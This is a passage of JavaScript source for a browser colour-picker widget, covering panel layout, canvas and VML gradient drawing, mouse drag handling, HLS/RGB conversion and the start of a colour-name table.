\"absolute\",\r\n\t\tleft: \"0px\",\r\n\t\ttop: \"0px\"\r\n\t});\r\n\t//\r\n\tvar bind2 = this._create_div_node();\r\n\tthis._set_styles(bind2, {\r\n\t\tbackgroundColor: \"transparent\",\r\n\t\tborderTop: \"1px solid #ffffff\",\r\n\t\tborderBottom: \"1px solid #888888\",\r\n\t\twidth: \"100%\",\r\n\t\theight: \"3px\"\r\n\t});\r\n\tbind.appendChild(bind2);\r\n\t//\r\n\tbar.appendChild(bind);\r\n\tthis.nodes.bind = bind;\r\n\t// footer top\r\n\tft_top = (p.height - footer_height - margin) + \"px\";\r\n\t// footer box\r\n\tvar ft = this._create_div_node();\r\n\tthis._set_styles(ft, {\r\n\t\tposition: \"absolute\",\r\n\t\ttop: ft_top,\r\n\t\tleft: palette.style.left,\r\n\t\twidth: (p.width - margin * 2) + \"px\",\r\n\t\twhiteSpace: \"nowrap\"\r\n\t});\r\n\tpanel.appendChild(ft);\r\n\t//\r\n\tthis._draw_lightness_bar();\r\n\t// selected color box\r\n\tvar cbox = document.createElement(\"INPUT\");\r\n\tcbox.type = \"text\";\r\n\tcbox.disabled = true;\r\n\tthis._set_styles(cbox, {\r\n\t\twidth: \"30px\",\r\n\t\tackgroundColor: \"#dddddd\",\r\n\t\tfontFamily: \"Arial,sans-serif\",\r\n\t\tfontSize: \"11px\",\r\n\t\tmarginRight: \"3px\",\r\n\t\tverticalAlign: \"middle\"\r\n\t});\r\n\tthis.nodes.cbox = cbox;\r\n\tft.appendChild(cbox);\r\n\t// selected color text box\r\n\tvar tbox = document.createElement(\"INPUT\");\r\n\ttbox.type = \"text\";\r\n\ttbox.maxLength = 7;\r\n\tthis._set_styles(tbox, {\r\n\t\twidth: \"50px\",\r\n\t\tfontSize: \"11px\",\r\n\t\tfontFamily: \"Arial,sans-serif\",\r\n\t\tmarginRight: \"3px\",\r\n\t\tpaddingLeft: \"3px\",\r\n\t\tborderWidth: border_width + \"px\",\r\n\t\tverticalAlign: \"middle\"\r\n\t});\r\n\tthis.nodes.tbox = tbox;\r\n\tft.appendChild(tbox);\r\n\t// OK button\r\n\tvar okb = document.createElement(\"INPUT\");\r\n\tokb.type = \"button\";\r\n\tokb.value = \" O K \";\r\n\tthis._set_styles(okb, {\r\n\t\tmarginTop: \"0px\",\r\n\t\tmarginBottom: \"0px\",\r\n\t\tmarginRight: \"3px\",\r\n\t\tpaddingLeft: \"2px\",\r\n\t\tpaddingRight: \"2px\",\r\n\t\tfontFamily: \"Arial,sans-serif\",\r\n\t\tfontSize: \"10px\",\r\n\t\tverticalAlign: \"middle\"\r\n\t});\r\n\tft.appendChild(okb);\r\n\t// Cancel button\r\n\tvar ccb = document.createElement(\"INPUT\");\r\n\tccb.type = \"button\";\r\n\tccb.value = \"Close\";\r\n\tthis._set_styles(ccb, {\r\n\t\tmarginTop: \"0px\",\r\n\t\tmarginBottom: \"0px\",\r\n\t\tpaddingLeft: \"2px\",\r\n\t\tpaddingRight: \"2px\",\r\n\t\tfontFamily: \"Arial,sans-serif\",\r\n\t\tfontSize: \"10px\",\r\n\t\tverticalAlign: \"middle\"\r\n\t});\r\n\tft.appendChild(ccb);\r\n\t// set event listeners\r\n\tvar _this = this;\r\n\t_add_event_listener(palette, \"mousedown\", function(e) { _this._pallet_clicked(e); });\r\n\t_add_event_listener(bar, \"mousedown\", function(e) { _this._lightness_bar_clicked(e); });\r\n\t_add_event_listener(okb, \"click\", function(e) { _this._ok_clicked(e); });\r\n\t_add_event_listener(ccb, \"click\", function(e) { _this._cencel_clicked(e); });\r\n\t_add_event_listener(panel, \"mousemove\", function(e) {\r\n\t\tprevent_default(e);\r\n\t\tstop_propagation(e);\r\n\t});\r\n\tthis._palette_drag_event_prepare();\r\n\tthis._lightness_bar_drag_event_prepare();\r\n\t_add_event_listener(document, \"mousedown\", function(e) { _this.hide(); });\r\n\t_add_event_listener(this.nodes.target, \"mousedown\", function(e) { stop_propagation(e); });\r\n\t_add_event_listener(this.nodes.trigger, \"mousedown\", function(e) { stop_propagation(e); });\r\n\t_add_event_listener(panel, \"mousedown\", function(e) { stop_propagation(e); });\r\n\t_add_event_listener(okb, \"mousedown\", function(e) { stop_propagation(e); });\r\n\t_add_event_listener(ccb, \"mousedown\", function(e) { stop_propagation(e); });\r\n\t//\r\n\treturn panel;\r\n};\r\n\r\nproto._palette_drag_event_prepare = function() {\r\n\tvar palette = this.nodes.palette;\r\n\tvar panel = this.nodes.panel;\r\n\tpalette._dragging = false;\r\n\tvar mouse_down = function(o, e) {\r\n\t\tprevent_default(e);\r\n\t\tstop_propagation(e);\r\n\t\to.nodes.palette._dragging = true;\r\n\t};\r\n\tvar mouse_up = function(o, e) {\r\n\t\tprevent_default(e);\r\n\t\tstop_propagation(e);\r\n\t\to.nodes.palette._dragging = false;\r\n\t};\r\n\tvar mouse_move = function(o, e) {\r\n\t\tif(o.nodes.palette._dragging != true) { return; }\r\n\t\tprevent_default(e);\r\n\t\tstop_propagation(e);\r\n\t\t// clicked coordinates in the palette\r\n\t\tvar pos = o._get_mouse_position(e, o.nodes.palette);\r\n\t\t//\r\n\t\to._pallet_moved(pos.x, pos.y);\r\n\t};\r\n\tvar mouse_move_panel = function(o, e) {\r\n\t\to.nodes.palette._dragging = false;\r\n\t};\r\n\tvar _this = this;\r\n\t_add_event_listener(palette, \"mousedown\", function(e) { mouse_down(_this, e); });\r\n\t_add_event_listener(palette, \"mouseup\", function(e) { mouse_up(_this, e); });\r\n\t_add_event_listener(palette, \"mousemove\", function(e) { mouse_move(_this, e); });\r\n\t_add_event_listener(panel, \"mousemove\", function(e) { mouse_move_panel(_this, e); });\r\n};\r\n\r\nproto._lightness_bar_drag_event_prepare = function() {\r\n\tvar bar = this.nodes.bar;\r\n\tvar panel = this.nodes.panel;\r\n\tbar._dragging = false;\r\n\tvar mouse_down = function(o, e) {\r\n\t\tprevent_default(e);\r\n\t\tstop_propagation(e);\r\n\t\to.nodes.bar._dragging = true;\r\n\t};\r\n\tvar mouse_up = function(o, e) {\r\n\t\tprevent_default(e);\r\n\t\tstop_propagation(e);\r\n\t\to.nodes.bar._dragging = false;\r\n\t};\r\n\tvar mouse_move = function(o, e) {\r\n\t\tif(o.nodes.bar._dragging != true) { return; }\r\n\t\tprevent_default(e);\r\n\t\tstop_propagation(e);\r\n\t\tvar pos = o._get_mouse_position(e, o.nodes.bar);\r\n\t\to._lightness_bar_moved(pos.y);\r\n\t};\r\n\tvar mouse_move_panel = function(o, e) {\r\n\t\to.nodes.bar._dragging = false;\r\n\t};\r\n\tvar _this = this;\r\n\t_add_event_listener(bar, \"mousedown\", function(e) { mouse_down(_this, e); });\r\n\t_add_event_listener(bar, \"mouseup\", function(e) { mouse_up(_this, e); });\r\n\t_add_event_listener(bar, \"mousemove\", function(e) { mouse_move(_this, e); });\r\n\t_add_event_listener(panel, \"mousemove\", function(e) { mouse_move_panel(_this, e); });\r\n};\r\n\r\nproto._set_styles = function(el, s) {\r\n\tfor( var k in s ) {\r\n\t\tel.style[k] = s[k];\r\n\t}\r\n};\r\n\r\nproto._set_indicators = function() {\r\n\tvar hls = this.hls;\r\n\tvar nodes = this.nodes;\r\n\t// plette indicator\r\n\tvar pind_w = parseInt( nodes.pind.style.width ) + parseInt( nodes.pind.style.borderLeftWidth ) + parseInt( nodes.pind.style.borderRightWidth );\r\n\tvar pind_h = parseInt( nodes.pind.style.height ) + parseInt( nodes.pind.style.borderTopWidth ) + parseInt( nodes.pind.style.borderBottomWidth );\r\n\tvar palette_w = parseInt( nodes.palette.style.width);\r\n\tvar palette_h = parseInt( nodes.palette.style.height);\r\n\tnodes.pind.style.left = ( palette_w * hls.h / 360 - pind_w / 2 ) + \"px\";\r\n\tnodes.pind.style.top = ( palette_h * (1 - hls.s) - pind_h / 2 ) + \"px\";\r\n\t// bar indicator\r\n\tvar bind_h = parseInt( nodes.bind.style.height ) + parseInt( nodes.bind.style.borderTopWidth ) + parseInt( nodes.bind.style.borderBottomWidth );\r\n\tnodes.bind.style.top = ( parseInt(nodes.bar.style.height) * (1 - hls.l) - bind_h / 2 ) + \"px\";\r\n};\r\n\r\nproto._coloring_trigger = function() {\r\n\tvar tstyle = this.nodes.trigger.style;\r\n\t// set background color of the trigger element\r\n\ttstyle.backgroundColor = this._conv_rgb_to_css_hex(this.rgb);\r\n\t// set font color of the trigger element\r\n\tif(this.hls.l \u003e 0.5) {\r\n\t\ttstyle.color = \"#000000\";\r\n\t} else {\r\n\t\ttstyle.color = \"#ffffff\";\r\n\t}\r\n};\r\n\r\nproto._ok_clicked = function(e) {\r\n\tprevent_default(e);\r\n\tstop_propagation(e);\r\n\tthis.nodes.target.value = this.nodes.tbox.value;\r\n\tif(this.p.coloring == true) {\r\n\t\tthis._coloring_trigger();\r\n\t}\r\n\tthis.hide();\r\n\tthis._focus_to_target();\r\n};\r\n\r\nproto._cencel_clicked = function(e) {\r\n\tprevent_default(e);\r\n\tstop_propagation(e);\r\n\tthis.hide();\r\n\tthis._focus_to_target();\r\n};\r\n\r\nproto._focus_to_target = function() {\r\n\tvar target = this.nodes.target;\r\n\ttarget.focus();\r\n\t// move a cursor to the end of the text in the text box\r\n\tvar pos = target.value.length;\r\n\tif(target.setSelectionRange) {\r\n\t\t// for Firefox,Opera,Safari\r\n\t\ttarget.setSelectionRange(pos,pos); \r\n\t} else if(target.createTextRange) {\r\n\t\t// for Internet Explorer\r\n\t\tvar range = target.createTextRange();\r\n\t\trange.move('character', pos);\r\n\t\trange.select();\r\n\t}\r\n};\r\n\r\nproto._pallet_clicked = function(e) {\r\n\tprevent_default(e);\r\n\tstop_propagation(e);\r\n\tvar p = this.p;\r\n\tvar nodes = this.nodes;\r\n\t// clicked coordinates in the palette\r\n\tvar pos = this._get_mouse_position(e, nodes.palette);\r\n\t//\r\n\tthis._pallet_moved(pos.x, pos.y);\r\n};\r\n\r\nproto._pallet_moved = function(x, y) {\r\n\tvar palette = this.nodes.palette;\r\n\t// set Hue and Saturation\r\n\tthis.hls.h = x * 359 / parseInt(palette.style.width);\r\n\tthis.hls.s = 1 - y / parseInt(palette.style.height);\r\n\t// set RGB\r\n\tthis.rgb = this._hls_to_rgb(this.hls);\r\n\t// draw the lightness_bar\r\n\tthis._draw_lightness_bar();\r\n\t// move indicators\r\n\tthis._set_indicators();\r\n\t// show selected color infomations\r\n\tthis._show_selected_color_infomations();\r\n};\r\n\r\nproto._lightness_bar_clicked= function(e) {\r\n\t//prevent_default(e);\r\n\t//stop_propagation(e);\r\n\tvar p = this.p;\r\n\t// clicked coordinates in the palette\r\n\tvar pos = this._get_mouse_position(e, this.nodes.bar);\r\n\t//\r\n\tthis._lightness_bar_moved(pos.y);\r\n};\r\n\r\nproto._get_mouse_position = function(e, el) {\r\n\tvar elp = this._get_element_abs_pos(el);\r\n\tvar elx = elp.left;\r\n\tvar ely = elp.top;\r\n\r\n\tvar de_scroll_left = document.documentElement.scrollLeft;\r\n\tvar de_scroll_top = document.documentElement.scrollTop;\r\n\tvar bd_scroll_left = document.body.scrollLeft;\r\n\tvar bd_scroll_top = document.body.scrollTop;\r\n\tvar scroll_left = 0;\r\n\tvar scroll_top = 0;\r\n\tif( typeof(de_scroll_left) != \"undefined\" \u0026\u0026 de_scroll_left \u003e 0 ) {\r\n\t\tscroll_left = de_scroll_left;\r\n\t} else if( typeof(bd_scroll_left) != \"undefined\" \u0026\u0026 bd_scroll_left \u003e 0 ) {\r\n\t\tscroll_left = bd_scroll_left;\r\n\t}\r\n\tif( typeof(de_scroll_top) != \"undefined\" \u0026\u0026 de_scroll_top \u003e 0 ) {\r\n\t\tscroll_top = de_scroll_top;\r\n\t} else if( typeof(bd_scroll_top) != \"undefined\" \u0026\u0026 bd_scroll_top \u003e 0 ) {\r\n\t\tscroll_top = bd_scroll_top;\r\n\t}\r\n\t//var msx = e.pageX ? e.pageX : scroll_left + e.clientX;\r\n\t//var msy = e.pageY ? e.pageY : scroll_top + e.clientY;\r\n\tvar msx = scroll_left + e.clientX;\r\n\tvar msy = scroll_top + e.clientY;\r\n\tvar x = msx - elx;\r\n\tvar y = msy - ely;\r\n\treturn {x:x, y:y};\r\n};\r\n\r\nproto._lightness_bar_moved= function(y) {\r\n\tvar bar = this.nodes.bar;\r\n\t// set Lightness\r\n\tthis.hls.l = 1 - y / parseInt(bar.style.height);\r\n\t// set RGB\r\n\tthis.rgb = this._hls_to_rgb(this.hls);\r\n\t// move indicators\r\n\tthis._set_indicators();\r\n\t// show selected color infomations\r\n\tthis._show_selected_color_infomations();\r\n};\r\n\r\nproto._show_selected_color_infomations = function() {\r\n\tvar color = this._conv_rgb_to_css_hex(this.rgb);\r\n\tthis.nodes.cbox.style.backgroundColor = color;\r\n\tthis.nodes.tbox.value = color;\r\n};\r\n\r\nproto._draw_lightness_bar = function() {\r\n\tvar el = this.nodes.bar;\r\n\tvar bind = this.nodes.bind;\r\n\tthis._clear_child_nodes(el);\r\n\tvar canvas = document.createElement(\"CANVAS\");\r\n\tif ( canvas \u0026\u0026 canvas.getContext ) {\r\n\t\tthis._draw_lightness_bar_by_canvas(canvas);\r\n\t} else if(document.uniqueID) {\r\n\t\tthis._draw_lightness_bar_by_vml();\r\n\t}\r\n\tel.appendChild(bind);\r\n};\r\n\r\nproto._draw_lightness_bar_by_vml = function() {\r\n\tvar el = this.nodes.bar;\r\n\tthis._clear_child_nodes(el);\r\n\tvar p = this.p;\r\n\tvar w = parseInt(el.style.width);\r\n\tvar h = parseInt(el.style.height);\r\n\tvar hls = { h:this.hls.h, l:this.hls.l, s:this.hls.s };\r\n\t//\r\n\thls.l = 0;\r\n\tvar rgb1 = this._hls_to_rgb(hls);\r\n\tvar c1 = this._conv_rgb_to_css_hex(rgb1);\r\n\t//\r\n\thls.l = 1;\r\n\tvar rgb2 = this._hls_to_rgb(hls);\r\n\tvar c2 = this._conv_rgb_to_css_hex(rgb2);\r\n\t//\r\n\tvar vml = \"\";\r\n\tvml += '\u003cv:rect style=\"left:-1px; top:0px; width:' + w + 'px; height:' + h + 'px; position:absolute;\" filled=\"true\" stroked=\"false\"\u003e';\r\n\tvml += '\u003cv:fill type=\"gradient\" color=\"' + c1 + '\" color2=\"' + c2 + '\" colors=\"';\r\n\tfor( var i=1; i\u003c=9; i++ ) {\r\n\t\thls.l = i / 10;\r\n\t\tvar rgb = this._hls_to_rgb(hls);\r\n\t\tvar c = this._conv_rgb_to_css_hex(rgb);\r\n\t\tvml += (i*10) + '% ' + c;\r\n\t\tif(i != 9) {\r\n\t\t\tvml += ',';\r\n\t\t}\r\n\t}\r\n\tvml += '\" /\u003e';\r\n\tvml += '\u003c/v:rect\u003e';\r\n\tel.innerHTML = vml;\r\n};\r\n\r\nproto._draw_lightness_bar_by_canvas = function(canvas) {\r\n\tvar el = this.nodes.bar;\r\n\tthis._clear_child_nodes(el);\r\n\tvar p = this.p;\r\n\tvar w = parseInt(el.style.width) + 1;\r\n\tvar h = parseInt(el.style.height);\r\n\tcanvas.style.margin = \"0px\";\r\n\tcanvas.style.padding = \"0px\";\r\n\tcanvas.width = w;\r\n\tcanvas.height = h;\r\n\tel.appendChild(canvas);\r\n\tvar ctx = canvas.getContext('2d');\r\n\tvar hls = { h:this.hls.h, l:this.hls.l, s:this.hls.s };\r\n\tvar grad = ctx.createLinearGradient(0,0, 0,h);\r\n\tfor( var i=0; i\u003c=10; i++ ) {\r\n\t\thls.l = 1 - ( i / 10 );\r\n\t\tvar rgb = this._hls_to_rgb(hls);\r\n\t\tvar c = this._conv_rgb_to_css(rgb);\r\n\t\tgrad.addColorStop(i/10, c);\r\n\t}\r\n\tctx.fillStyle = grad;\r\n\tctx.fillRect(0, 0, w, h);\r\n};\r\n\r\nproto._draw_palette = function() {\r\n\tvar canvas = document.createElement(\"CANVAS\");\r\n\tif ( canvas \u0026\u0026 canvas.getContext ) {\r\n\t\tthis._draw_palette_by_canvas(canvas);\r\n\t} else if(document.uniqueID) {\r\n\t\tthis._draw_palette_by_vml();\r\n\t}\r\n};\r\n\r\nproto._draw_palette_by_vml = function() {\r\n\tvar el = this.nodes.palette\r\n\tvar p = this.p;\r\n\tvar w = parseInt(el.style.width);\r\n\tvar h = parseInt(el.style.height);\r\n\tvar hls = {};\r\n\thls.l = 0.5;\r\n\tvar vml = \"\";\r\n\tvar gridw = p.gridie + 1;\r\n\tfor( var x=-1; x\u003cw; x+=p.gridie ) {\r\n\t\thls.h = 359 * ( x / w );\r\n\t\t//\r\n\t\thls.s = 0;\r\n\t\tvar rgb1 = this._hls_to_rgb(hls);\r\n\t\tvar c1 = this._conv_rgb_to_css_hex(rgb1);\r\n\t\t//\r\n\t\thls.s = 1;\r\n\t\tvar rgb2 = this._hls_to_rgb(hls);\r\n\t\tvar c2 = this._conv_rgb_to_css_hex(rgb2);\r\n\t\t//\r\n\t\tvml += '\u003cv:rect style=\"left:' + x + 'px; top:0px; width:' + gridw + 'px; height:' + h + 'px; position:absolute;\" filled=\"true\" stroked=\"false\"\u003e';\r\n\t\tvml += '\u003cv:fill type=\"gradient\" color=\"' + c1 + '\" color2=\"' + c2 + '\" colors=\"';\r\n\t\tfor( var i=1; i\u003c=9; i++ ) {\r\n\t\t\thls.s = i / 10;\r\n\t\t\tvar rgb = this._hls_to_rgb(hls);\r\n\t\t\tvar c = this._conv_rgb_to_css_hex(rgb);\r\n\t\t\tvml += (i*10) + '% ' + c;\r\n\t\t\tif(i != 9) {\r\n\t\t\t\tvml += ',';\r\n\t\t\t}\r\n\t\t}\r\n\t\tvml += '\" /\u003e';\r\n\t\tvml += '\u003c/v:rect\u003e';\r\n\t}\r\n\tel.innerHTML = vml;\r\n};\r\n\r\nproto._draw_palette_by_canvas = function(canvas) {\r\n\tvar el = this.nodes.palette\r\n\tvar p = this.p;\r\n\tvar w = parseInt(el.style.width);\r\n\tvar h = parseInt(el.style.height);\r\n\tcanvas.style.margin = \"0px\";\r\n\tcanvas.style.padding = \"0px\";\r\n\tcanvas.width = w;\r\n\tcanvas.height = h;\r\n\tel.appendChild(canvas);\r\n\t//\r\n\tvar ctx = canvas.getContext('2d');\r\n\tvar hls = {};\r\n\thls.l = 0.5;\r\n\tvar gridw = p.grid;\r\n\tfor( var x=0; x\u003cw; x+=p.grid ) {\r\n\t\thls.h = 359 * ( x / w );\r\n\t\tvar grad = ctx.createLinearGradient(0,0, 0,h);\r\n\t\tfor( var i=0; i\u003c=10; i++ ) {\r\n\t\t\thls.s = 1 - ( i / 10 );\r\n\t\t\tvar rgb = this._hls_to_rgb(hls);\r\n\t\t\tvar c = this._conv_rgb_to_css(rgb);\r\n\t\t\tgrad.addColorStop(i/10, c);\r\n\t\t}\r\n\t\tctx.fillStyle = grad;\r\n\t\tctx.fillRect(x, 0, gridw, h);\r\n\t}\r\n};\r\n\r\nproto._clear_child_nodes = function(el) {\r\n\twhile (el.firstChild) {\r\n\t\tel.removeChild(el.firstChild);\r\n\t}\r\n};\r\n\r\nproto._create_div_node = function() {\r\n\tvar node = document.createElement(\"DIV\");\r\n\tnode.style.margin = \"0px\";\r\n\tnode.style.padding = \"0px\";\r\n\tnode.style.fontSize = \"0px\";\r\n\treturn node;\r\n};\r\n\r\nproto._conv_rgb_to_css = function(rgb) {\r\n\tif( typeof(rgb.a) == \"undefined\" ) {\r\n\t\treturn \"rgb(\" + rgb.r + \",\" + rgb.g + \",\" + rgb.b + \")\";\r\n\t} else {\r\n\t\treturn \"rgba(\" + rgb.r + \",\" + rgb.g + \",\" + rgb.b + \",\" + rgb.a + \")\";\r\n\t}\r\n};\r\n\r\nproto._conv_rgb_to_css_hex = function(rgb) {\r\n\tvar r = rgb.r.toString(16);\r\n\tvar g = rgb.g.toString(16);\r\n\tvar b = rgb.b.toString(16);\r\n\tif( r.length == 1 ) { r = \"0\" + r; }\r\n\tif( g.length == 1 ) { g = \"0\" + g; }\r\n\tif( b.length == 1 ) { b = \"0\" + b; }\r\n\treturn \"#\" + r + g + b;\r\n};\r\n\r\n/* -------------------------------------------------------------------\r\n* http://image-d.isp.jp/commentary/color_cformula/HLS.html\r\n* ----------------------------------------------------------------- */\r\nproto._rgb_to_hls = function(rgb) {\r\n\tvar R = rgb.r / 255;\r\n\tvar G = rgb.g / 255;\r\n\tvar B = rgb.b / 255;\r\n\tvar MAX = Math.max(R, Math.max(G, B));\r\n\tvar MIN = Math.min(R, Math.min(G, B));\r\n\tvar hls = {};\r\n\thls.l = ( MAX + MIN ) / 2;\r\n\tif(MAX == MIN) {\r\n\t\thls.s = 0;\r\n\t\thls.h = 0;\r\n\t} else {\r\n\t\tif(hls.l \u003c= 0.5) {\r\n\t\t\thls.s = ( MAX - MIN ) / ( MAX + MIN );\r\n\t\t} else {\r\n\t\t\thls.s = ( MAX - MIN ) / ( 2 - MAX - MIN );\r\n\t\t}\r\n\t\tvar Cr = ( MAX - R ) / ( MAX - MIN );\r\n\t\tvar Cg = ( MAX - G ) / ( MAX - MIN );\r\n\t\tvar Cb = ( MAX - B ) / ( MAX - MIN );\r\n\t\tif( R == MAX ) {\r\n\t\t\thls.h = Cb - Cg;\r\n\t\t} else if( G == MAX ) {\r\n\t\t\thls.h = 2 + Cr - Cb;\r\n\t\t} else if( B = MAX ) {\r\n\t\t\thls.h = 4 + Cg - Cr;\r\n\t\t}\r\n\t\thls.h = 60 * hls.h;\r\n\t\tif(hls.h \u003c 0) {\r\n\t\t\thls.h += 360;\r\n\t\t}\r\n\t}\r\n\treturn hls;\r\n};\r\n\r\n/* -------------------------------------------------------------------\r\n* http://image-d.isp.jp/commentary/color_cformula/HLS.html\r\n* ----------------------------------------------------------------- */\r\nproto._hls_to_rgb = function(hls) {\r\n\tvar H = hls.h;\t// hue [0-359]\r\n\tvar L = hls.l;\t// lightness [0-1]\r\n\tvar S = hls.s;\t// saturation [0-1]\r\n\tvar R = 0;\t// red [0-1]\r\n\tvar G = 0;\t// green [0-1]\r\n\tvar B = 0;\t// blue [0-1]\r\n\t//\r\n\tif(S==0) {\r\n\t\tR = L;\r\n\t\tG = L;\r\n\t\tB = L;\r\n\t} else {\r\n\t\tvar MAX = L*(1+S);\r\n\t\tif( L \u003e 0.5 ) {\r\n\t\t\tMAX = L*(1-S)+S;\r\n\t\t}\r\n\t\tvar MIN = 2 * L - MAX;\r\n\t\tvar h = H + 120;\r\n\t\tif( h \u003e= 360 ) { h = h - 360; }\r\n\t\tif( h \u003c 60 ) {\r\n\t\t\tR = MIN + ( MAX - MIN ) * h / 60;\r\n\t\t} else if( h \u003c 180 ) {\r\n\t\t\tR = MAX;\r\n\t\t} else if( h \u003c 240 ) {\r\n\t\t\tR = MIN + ( MAX - MIN ) * ( 240 - h ) / 60;\r\n\t\t} else {\r\n\t\t\tR = MIN;\r\n\t\t}\r\n\t\th = H;\r\n\t\tif( h \u003c 60 ) {\r\n\t\t\tG = MIN + ( MAX - MIN ) * h / 60;\r\n\t\t} else if( h \u003c 180 ) {\r\n\t\t\tG = MAX;\r\n\t\t} else if( h \u003c 240 ) {\r\n\t\t\tG = MIN + ( MAX - MIN ) * ( 240 - h ) / 60;\r\n\t\t} else {\r\n\t\t\tG = MIN;\r\n\t\t}\r\n\t\th = H - 120;\r\n\t\tif( h \u003c 0 ) { h = h + 360; }\r\n\t\tif( h \u003c 60 ) {\r\n\t\t\tB = MIN + ( MAX - MIN ) * h / 60;\r\n\t\t} else if( h \u003c 180 ) {\r\n\t\t\tB = MAX;\r\n\t\t} else if( h \u003c 240 ) {\r\n\t\t\tB = MIN + ( MAX - MIN ) * ( 240 - h ) / 60;\r\n\t\t} else {\r\n\t\t\tB = MIN;\r\n\t\t}\r\n\t}\r\n\t//\r\n\tvar rgb = {\r\n\t\tr: Math.abs( parseInt(R * 255) ),\r\n\t\tg: Math.abs( parseInt(G * 255) ),\r\n\t\tb: Math.abs( parseInt(B * 255) )\r\n\t}\r\n\treturn rgb;\r\n};\r\n\r\nproto._show_element = function(el, speed) {\r\n\tvar s = el.style;\r\n\tif( typeof(speed) == \"undefined\" ) {\r\n\t\tspeed = 0;\r\n\t} else {\r\n\t\tspeed = parseInt(speed);\r\n\t}\r\n\tif(speed \u003c 0) {\r\n\t\tspeed = 0;\r\n\t} else if(speed \u003e 5) {\r\n\t\tspeed = 5;\r\n\t}\r\n\tif(speed == 0) {\r\n\t\ts.display = \"\";\r\n\t\treturn;\r\n\t}\r\n\tvar width = parseInt(s.width);\r\n\tvar height = parseInt(s.height);\r\n\ts.width = \"0px\";\r\n\ts.height = \"0px\";\r\n\ts.display = \"\";\r\n\tvar w = 0;\r\n\tvar h = 0;\r\n\tvar scale_up = function() {\r\n\t\tel._resizing = true;\r\n\t\tw += ( width * speed / 50 );\r\n\t\th += ( height * speed / 50 );\r\n\t\tif(w \u003e width) { w = width; }\r\n\t\tif(h \u003e height) { h = height; }\r\n\t\ts.width = w + \"px\";\r\n\t\ts.height = h + \"px\";\r\n\t\tif( w \u003c width || h \u003c height ) {\r\n\t\t\tsetTimeout(scale_up, 10);\r\n\t\t} else {\r\n\t\t\ts.display = \"\";\r\n\t\t\ts.width = width + \"px\";\r\n\t\t\ts.height = height + \"px\";\r\n\t\t\tel._resizing = false;\r\n\t\t}\r\n\t};\r\n\tscale_up();\r\n};\r\n\r\nproto._hide_element = function(el, speed) {\r\n\tif( typeof(speed) == \"undefined\" ) {\r\n\t\tspeed = 0;\r\n\t} else {\r\n\t\tspeed = parseInt(speed);\r\n\t}\r\n\tif(speed \u003c 0) {\r\n\t\tspeed = 0;\r\n\t} else if(speed \u003e 5) {\r\n\t\tspeed = 5;\r\n\t}\r\n\tif(speed == 0) {\r\n\t\tel.style.display = \"none\";\r\n\t\treturn;\r\n\t}\r\n\tvar s = el.style;\r\n\tvar width = parseInt(s.width);\r\n\tvar height = parseInt(s.height);\r\n\tvar w = parseInt(width);\r\n\tvar h = parseInt(height);\r\n\tvar scale_down = function() {\r\n\t\tel._resizing = true;\r\n\t\tw -= ( width * speed / 50 );\r\n\t\th -= ( height * speed / 50 );\r\n\t\tif(w \u003c 0) { w = 0; }\r\n\t\tif(h \u003c 0) { h = 0; }\r\n\t\ts.width = w + \"px\";\r\n\t\ts.height = h + \"px\";\r\n\t\tif( w \u003e 0 || h \u003e 0 ) {\r\n\t\t\tsetTimeout(scale_down, 10);\r\n\t\t} else {\r\n\t\t\ts.display = \"none\";\r\n\t\t\ts.width = width + \"px\";\r\n\t\t\ts.height = height + \"px\";\r\n\t\t\tel._resizing = false;\r\n\t\t}\r\n\t};\r\n\tscale_down();\r\n};\r\n\r\nproto._get_element_abs_pos = function(el) {\r\n\tvar o = {};\r\n\to.left = el.offsetLeft;\r\n\to.top = el.offsetTop;\r\n\tvar parent = el;\r\n\twhile(parent.offsetParent) {\r\n\t\tparent = parent.offsetParent;\r\n\t\to.left += parent.offsetLeft;\r\n\t\to.top += parent.offsetTop;\r\n\t}\r\n\to.width = el.offsetWidth;\r\n\to.height = el.offsetHeight;\r\n\treturn o;\r\n}\r\n\r\nproto._conv_color_to_rgb = function(color) {\r\n\t/* color name mapping */\r\n\tvar color_name_map = {\r\n\t\taliceblue : \"#F0F8FF\",\r\n\t\tantiquewhite : \"#FAEBD7\",\r\n\t\taqua : \"#00FFFF\",\r\n\t\taquamarine : \"#7FFFD4\",\r\n\t\tazure : \"#F0FFFF\",\r\n\t\tbeige : \"#F5F5DC\",\r\n\t\tbisque : \"#FFE4C4\",\r\n\t\tblack : \"#000000\",\r\n\t\tblanchedalmond : \"#FFEBCD\",\r\n\t\tblue : \"#0000FF\",\r\n\t\tblueviolet : \"#8A2BE2\",\r\n\t\tbrass : \"#B5A642\",\r\n\t\tbrown : \"#A52A2A\",\r\n\t\tburlywood : \"#DEB887\",\r\n\t\tcadetblue : \"#5F9EA0\",\r\n\t\tchartreuse : \"#7FFF00\",\r\n\t\tchocolate : \"#D2691E\",\r\n\t\tcoolcopper : \"#D98719\",\r\n\t\tcopper : \"#BF00DF\",\r\n\t\tcoral : \"#FF7F50\",\r\n\t\tcornflower : \"#BFEFDF\",\r\n\t\tcornflowerblue : \"#6495ED\",\r\n\t\tcornsilk : \"#FFF8DC\",\r\n\t\tcrimson : \"#DC143C\",\r\n\t\tcyan : \"#00FFFF\",\r\n\t\tdarkblue : \"#00008B\",\r\n\t\tdarkbrown : \"#DA0B00\",\r\n\t\tdarkcyan : \"#008B8B\",\r\n\t\tdarkgoldenrod : \"#B8860B\",\r\n\t\tdarkgray : \"#A9A9A9\",\r\n\t\tdarkgreen : \"#006400\",\r\n\t\tdarkkhaki : \"#BDB76B\",\r\n\t\tdarkmagenta : \"#8B008B\",\r\n\t\tdarkolivegreen : \"#556B2F\",\r\n\t\tdarkorange : \"#FF8C00\",\r\n\t\tdarkorchid : \"#9932CC\",\r\n\t\tdarkred : \"#8B0000\",\r\n\t\tdarksalmon : \"#E9967A\",\r\n\t\tdarkseagreen : \"#8FBC8F\",\r\n\t\tdarkslateblue : \"#483D8B\",\r\n\t\tdarkslategray : \"#2F4F4F\",\r\n\t\tdarkturquoise : \"#00CED1\",\r\n\t\tdarkviolet : \"#9400D3\",\r\n\t\tdeeppink : \"#FF1493\",\r\n\t\tdeepskyblue : \"#00BFFF\",\r\n\t\tdimgray : \"#696969\",\r\n\t\tdodgerblue : \"#1E90FF\",\r\n\t\tfeldsper : \"#FED0E0\",\r\n\t\tfirebrick : \"#B22222\",\r\n\t\tfloralwhite : \"#FFFAF0\",\r\n\t\tforestgreen : \"#228B22\",\r\n\t\tfuchsia : \"#FF00FF\",\r\n\t\tgainsboro : \"#DCDCDC\",\r\n\t\tghostwhite : \"#F8F8FF\",\r\n\t\tgold : \"#FFD700\",\r\n\t\tgoldenrod : 